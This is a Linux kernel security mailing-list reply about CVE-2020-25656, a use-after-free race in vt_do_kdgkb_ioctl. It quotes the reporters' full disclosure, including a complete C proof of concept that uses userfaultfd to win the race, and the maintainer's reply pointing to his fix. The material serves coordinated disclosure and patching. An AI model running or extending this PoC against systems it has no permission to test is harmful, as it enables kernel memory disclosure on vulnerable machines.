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Date: Fri, 16 Oct 2020 08:58:34 +0200
From: Jiri Slaby <jirislaby@...nel.org>
To: Minh Yuan <yuanmingbuaa@...il.com>, oss-security@...ts.openwall.com,
Greg KH <gregkh@...uxfoundation.org>,
Linux kernel mailing list <linux-kernel@...r.kernel.org>
Subject: Re: CVE-2020-25656: Linux kernel concurrency UAF in
vt_do_kdgkb_ioctl
Cc Greg.
On 16. 10. 20, 5:39, Minh Yuan wrote:
> Hi,
>
> We recently discovered a uaf read in vt_do_kdgkb_ioctl from linux kernel
> version 3.4 to the latest version (v5.9 for now).
>
> The root cause of this vulnerability is that there exits a race in
> KDGKBSENT and KDSKBSENT.
>
> Here are details:
> 1. use KDSKBSENT to allocate a lager heap buffer to funcbufptr;
> 2. use KDGKBSENT to obtain the allocated heap pointer in step1 by
> func_table, at the same time, due to KDGKBSENT has no lock, we can use
> KDSKBSENT again to allocate a larger buffer than step1, and the old
> funcbufptr will be freed. However, we've obtained the heap pointer in
> KDGKBSENT, so a uaf read will happen while executing put_user.
Hi,
this is likely the issue I am fixing at:
https://git.kernel.org/pub/scm/linux/kernel/git/jirislaby/linux.git/commit/?h=devel&id=57c85191e788e172a446e34ef77d34473cfb1e8d
I think, it won't apply cleanly as it's a part of a larger set. I will
reorder the patch and send something during the day.
Thanks.
> I've successfully reproduced this bug in a special way.
> However, to write a universal PoC for anyone else to reproduce it, I use
> userfaultfd to handle the order of "free" and "use" in multithreading
> environment. This is my PoC:
>
> // author by ziiiro@thu
> #include <stdio.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <sys/ioctl.h>
> #include <string.h>
> #include <sys/types.h>
> #include <sys/stat.h>
> #include <fcntl.h>
> #include <sys/mman.h>
> #include <poll.h>
> #include <pthread.h>
> #include <errno.h>
> #include <stdlib.h>
> #include <signal.h>
> #include <string.h>
> #include <sys/syscall.h>
> #include <linux/userfaultfd.h>
> #include <pthread.h>
> #include <poll.h>
> #include <linux/prctl.h>
> #include <stdint.h>
>
> #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
> } while (0)
>
> #define KDGKBSENT 0x4B48 /* gets one function key string entry */
> #define KDSKBSENT 0x4B49 /* sets one function key string entry */
>
> struct kbsentry {
> unsigned char kb_func;
> unsigned char kb_string[512];
> };
> int fd;
> static int page_size;
> static void *fault_handler_thread(void *arg) {
> unsigned long value;
> static struct uffd_msg msg;
> static int fault_cnt = 0;
> long uffd;
> static char *page = NULL;
> struct uffdio_copy uffdio_copy;
> int len, i;
> if (page == NULL) {
> page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
> MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
> if (page == MAP_FAILED) errExit("mmap (userfaultfd)");
> }
> uffd = (long)arg;
>
> for(;;) {
> struct pollfd pollfd;
> pollfd.fd = uffd;
> pollfd.events = POLLIN;
> len = poll(&pollfd, 1, -1);
>
>
> read(uffd, &msg, sizeof(msg));
> printf(" flags = 0x%lx\n", msg.arg.pagefault.flags);
> printf(" address = 0x%lx\n", msg.arg.pagefault.address);
> switch(fault_cnt) {
> case 0:
> puts("triggered in the first page!");
> break;
> case 1:
> puts("triggered in the seccond page!");
> munmap((void*)0x233000,page_size);
> void *addr = (void*)mmap((void*)0x233000,
> page_size,
> PROT_READ | PROT_WRITE,
> MAP_FIXED | MAP_PRIVATE | MAP_ANON,
> -1, 0);
> if ((unsigned long)addr != 0x233000)
> errExit("mmap (0x233000)");
> // register 0x233000 again to trigger put_user
> struct uffdio_register uffdio_register;
> uffdio_register.range.start = (unsigned long)addr;
> uffdio_register.range.len = page_size;
> uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
> if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
> errExit("ioctl: UFFDIO_REGITER");
> break;
> case 2:
> puts("triggered in put_user!");
> struct kbsentry *kbs;
> kbs = malloc(sizeof(struct kbsentry));
> kbs->kb_func = 0;
>
> strcpy(kbs->kb_string,"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbb");
> // free old funcbufptr
> ioctl(fd,KDSKBSENT,kbs);
> break;
>
> }
> // return to kernel-land
> uffdio_copy.src = (unsigned long)page;
> uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address &
> ~(page_size - 1);
> uffdio_copy.len = page_size;
> uffdio_copy.mode = 0;
> uffdio_copy.copy = 0;
> if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
> errExit("ioctl: UFFDIO_COPY");
>
> fault_cnt++;
>
> }
> }
> // use userfaultfd to handle free->use
> void setup_pagefault(void *addr, unsigned size) {
> long uffd;
> pthread_t th;
> struct uffdio_api uffdio_api;
> struct uffdio_register uffdio_register;
> int s;
> // new userfaulfd
>
> uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
> if (uffd == -1) errExit("userfaultfd");
> // enabled uffd object
> uffdio_api.api = UFFD_API;
> uffdio_api.features = 0;
> if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl:
> UFFDIO_API");
> // register memory address
> uffdio_register.range.start = (unsigned long)addr;
> uffdio_register.range.len = size;
> uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
> //UFFDIO_REGISTER_MODE_WP;//
> if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("io=
> ctl:
> UFFDIO_REGITER");
> // monitor page fault
> s = pthread_create(&th, NULL, fault_handler_thread, (void*)uffd);
> if (s != 0) errExit("pthread_create");
> }
>
>
> int main(int argc, char** argv)
> {
> struct kbsentry *kbs;
> pthread_t th;
> page_size = sysconf(_SC_PAGE_SIZE);
> void *addr = (void*)mmap((void*)0x233000,
> page_size * 2,
> PROT_READ | PROT_WRITE,
> MAP_FIXED | MAP_PRIVATE | MAP_ANON,
> -1, 0);
> if ((unsigned long)addr != 0x233000)
> errExit("mmap (0x233000)");
> setup_pagefault(addr, page_size * 2);
> kbs = malloc(sizeof(struct kbsentry));
> kbs->kb_func = 0;
> fd = open("/dev/tty1", O_RDONLY, 0);
>
> strcpy(kbs->kb_string,"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
> a");
> // allocate a lager funcbufptr
> ioctl(fd,KDSKBSENT,kbs);
> // use KDGKBSENT to access the new funcbufptr
> ioctl(fd,KDGKBSENT,addr + page_size - 0x20);
> return 1;
>
> }
>
> Make sure set KASAN in config, and to use userfaultfd, CONFIG_USERFAULTFD=y
> is also needed. Besides, it needs the privilege to access tty to trigger
> this bug.
>
> We've noticed that this bug was also discovered by Syzbot 8 months ago, but
> no one has successfully reproduced it (
> https://groups.google.com/g/syzkaller-bugs/c/kZsmxkpq3UI/m/J35PFexWBgAJ),
> leaving this issue ignored and upatched yet. Hope this PoC can help
> someone.
>
> Timeline:
> * 10.15.20 - Vulnerability reported to security@...nel.org and
> linux-distros@...openwall.org.
> * 10.15.20 - CVE-2020-25656 assigned.
> * 10.16.20 - Vulnerability opened.
>
> Thanks,
> Yuan Ming and Bodong Zhao, Tsinghua University
>
--
js
suse labs
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